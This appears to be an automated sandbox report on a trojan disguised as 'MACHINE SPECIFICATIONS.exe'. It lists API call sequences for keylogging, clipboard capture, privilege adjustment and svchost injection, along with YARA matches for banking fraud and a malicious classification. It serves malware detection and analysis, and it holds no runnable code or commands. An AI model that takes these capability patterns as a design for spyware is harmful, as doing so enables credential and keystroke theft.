Source: RmClient.exe, 00000004.00000002.3362363098.00000000040C2000.00000004.10000000.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361395202.0000000004122000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

Key, Mouse, Clipboard, Microphone and Screen Capturing

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B9425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00B9425A

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B94458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00B94458

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B9425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00B9425A

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B80219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00B80219

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00BACDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00BACDAC

E-Banking Fraud

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1023946734.00000000074E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3363348707.0000000005670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3361296976.0000000000800000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3361185942.00000000007B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1017720914.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3359220364.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3361032659.0000000002300000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1021306624.0000000003FE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: This is a third-party compiled AutoIt script.		0_2_00B23B4C
Source: MACHINE SPECIFICATIONS.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: MACHINE SPECIFICATIONS.exe, 00000000.00000000.885605869.0000000000BD5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_1ffbcabe-b
Source: MACHINE SPECIFICATIONS.exe, 00000000.00000000.885605869.0000000000BD5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_26417206-a
Source: MACHINE SPECIFICATIONS.exe	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_b63dd900-6
Source: MACHINE SPECIFICATIONS.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_785a2f87-f

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C9D3 NtClose,		2_2_0042C9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72B60 NtClose,LdrInitializeThunk,		2_2_03C72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DF0 NtQuerySystemInformation,LdrInitializeThunk,		2_2_03C72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C70 NtFreeVirtualMemory,LdrInitializeThunk,		2_2_03C72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C735C0 NtCreateMutant,LdrInitializeThunk,		2_2_03C735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C74340 NtSetContextThread,		2_2_03C74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C74650 NtSuspendThread,		2_2_03C74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BE0 NtQueryValueKey,		2_2_03C72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BF0 NtAllocateVirtualMemory,		2_2_03C72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72B80 NtQueryInformationFile,		2_2_03C72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72BA0 NtEnumerateValueKey,		2_2_03C72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AD0 NtReadFile,		2_2_03C72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AF0 NtWriteFile,		2_2_03C72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72AB0 NtWaitForSingleObject,		2_2_03C72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FE0 NtCreateFile,		2_2_03C72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F90 NtProtectVirtualMemory,		2_2_03C72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FA0 NtQuerySection,		2_2_03C72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72FB0 NtResumeThread,		2_2_03C72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F60 NtCreateProcessEx,		2_2_03C72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72F30 NtCreateSection,		2_2_03C72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72EE0 NtQueueApcThread,		2_2_03C72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72E80 NtReadVirtualMemory,		2_2_03C72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72EA0 NtAdjustPrivilegesToken,		2_2_03C72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72E30 NtWriteVirtualMemory,		2_2_03C72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DD0 NtDelayExecution,		2_2_03C72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72DB0 NtEnumerateKey,		2_2_03C72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D00 NtSetInformationFile,		2_2_03C72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D10 NtMapViewOfSection,		2_2_03C72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72D30 NtUnmapViewOfSection,		2_2_03C72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CC0 NtQueryVirtualMemory,		2_2_03C72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CF0 NtOpenProcess,		2_2_03C72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72CA0 NtQueryInformationToken,		2_2_03C72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C60 NtCreateKey,		2_2_03C72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72C00 NtQueryInformationProcess,		2_2_03C72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73090 NtSetValueKey,		2_2_03C73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73010 NtOpenDirectoryObject,		2_2_03C73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C739B0 NtGetContextThread,		2_2_03C739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73D70 NtOpenThread,		2_2_03C73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C73D10 NtOpenProcessToken,		2_2_03C73D10

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B840B1: CreateFileW,_memset,DeviceIoControl,CloseHandle,

0_2_00B840B1

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B78858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00B78858

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B8545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00B8545F

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B2E800		0_2_00B2E800
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B2FE40		0_2_00B2FE40
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B2E060		0_2_00B2E060
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00BA804A		0_2_00BA804A
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B34140		0_2_00B34140
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B42405		0_2_00B42405
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B56522		0_2_00B56522
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B5267E		0_2_00B5267E
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00BA0665		0_2_00BA0665
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B4283A		0_2_00B4283A
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B36843		0_2_00B36843
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B589DF		0_2_00B589DF
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B56A94		0_2_00B56A94
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00BA0AE2		0_2_00BA0AE2
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B38A0E		0_2_00B38A0E
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B88B13		0_2_00B88B13
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B7EB07		0_2_00B7EB07
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B4CD61		0_2_00B4CD61
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B57006		0_2_00B57006
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B33190		0_2_00B33190
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B3710E		0_2_00B3710E
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B21287		0_2_00B21287
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B433C7		0_2_00B433C7
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B4F419		0_2_00B4F419
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B35680		0_2_00B35680
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B416C4		0_2_00B416C4
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B478D3		0_2_00B478D3
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B358C0		0_2_00B358C0
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B4DBB5		0_2_00B4DBB5
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B41BB8		0_2_00B41BB8
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B59D05		0_2_00B59D05
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B4BFE6		0_2_00B4BFE6
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B41FD0		0_2_00B41FD0
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00CD35E0		0_2_00CD35E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418993		2_2_00418993
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004101AA		2_2_004101AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004101B3		2_2_004101B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401250		2_2_00401250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402AD6		2_2_00402AD6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402AE0		2_2_00402AE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004103D3		2_2_004103D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416BA3		2_2_00416BA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E3B3		2_2_0040E3B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E500		2_2_0040E500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E503		2_2_0040E503
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402FD0		2_2_00402FD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EFB3		2_2_0042EFB3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0		2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D003E6		2_2_03D003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA352		2_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC02C0		2_2_03CC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0274		2_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF81CC		2_2_03CF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D001AA		2_2_03D001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC8158		2_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30100		2_2_03C30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118		2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD2000		2_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3C7C0		2_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64750		2_2_03C64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770		2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5C6E0		2_2_03C5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D00591		2_2_03D00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535		2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEE4F6		2_2_03CEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF2446		2_2_03CF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF6BD7		2_2_03CF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFAB40		2_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0A9A6		2_2_03D0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962		2_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E8F0		2_2_03C6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C268B8		2_2_03C268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4A840		2_2_03C4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C42840		2_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32FC8		2_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4CFE0		2_2_03C4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBEFA0		2_2_03CBEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4F40		2_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C82F28		2_2_03C82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60F30		2_2_03C60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFEEDB		2_2_03CFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C52E90		2_2_03C52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFCE93		2_2_03CFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40E59		2_2_03C40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFEE26		2_2_03CFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3ADE0		2_2_03C3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C58DBF		2_2_03C58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4AD00		2_2_03C4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30CF2		2_2_03C30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE0CB5		2_2_03CE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40C00		2_2_03C40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C8739A		2_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2D34C		2_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF132D		2_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B2C0		2_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE12ED		2_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C452A0		2_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4B1B0		2_2_03C4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7516C		2_2_03C7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172		2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D0B16B		2_2_03D0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF0CC		2_2_03CEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0		2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF70E9		2_2_03CF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF0E0		2_2_03CFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF7B0		2_2_03CFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF16CC		2_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDD5B0		2_2_03CDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7571		2_2_03CF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C31460		2_2_03C31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFF43F		2_2_03CFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB5BF0		2_2_03CB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C7DBF9		2_2_03C7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5FB80		2_2_03C5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFB76		2_2_03CFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEDAC6		2_2_03CEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDDAAC		2_2_03CDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C85AA0		2_2_03C85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFA49		2_2_03CFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7A46		2_2_03CF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB3A6C		2_2_03CB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C49950		2_2_03C49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B950		2_2_03C5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD5910		2_2_03CD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C438E0		2_2_03C438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAD800		2_2_03CAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C03FD2		2_2_03C03FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C03FD5		2_2_03C03FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41F92		2_2_03C41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFFB1		2_2_03CFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFF09		2_2_03CFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C49EB0		2_2_03C49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5FDC0		2_2_03C5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C43D40		2_2_03C43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF1D5A		2_2_03CF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7D73		2_2_03CF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFCF2		2_2_03CFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB9C32		2_2_03CB9C32

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C87E54 appears 99 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CBF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C75130 appears 48 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C2B970 appears 275 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CAEA12 appears 86 times
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: String function: 00B27F41 appears 35 times
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: String function: 00B40D27 appears 70 times
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: String function: 00B48B40 appears 42 times

Source: MACHINE SPECIFICATIONS.exe, 00000000.00000003.916499951.0000000003A4D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs MACHINE SPECIFICATIONS.exe
Source: MACHINE SPECIFICATIONS.exe, 00000000.00000003.916351738.00000000038A3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs MACHINE SPECIFICATIONS.exe

Source: MACHINE SPECIFICATIONS.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@18/13

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B8A2D5 GetLastError,FormatMessageW,

0_2_00B8A2D5

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B78713 AdjustTokenPrivileges,CloseHandle,		0_2_00B78713
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B78CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00B78CC3

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B8B59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00B8B59E

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B9F121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00B9F121

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B986D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00B986D0

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B24FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00B24FE9

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

File created: C:\Users\user\AppData\Local\Temp\Dalis

Jump to behavior

Source: MACHINE SPECIFICATIONS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

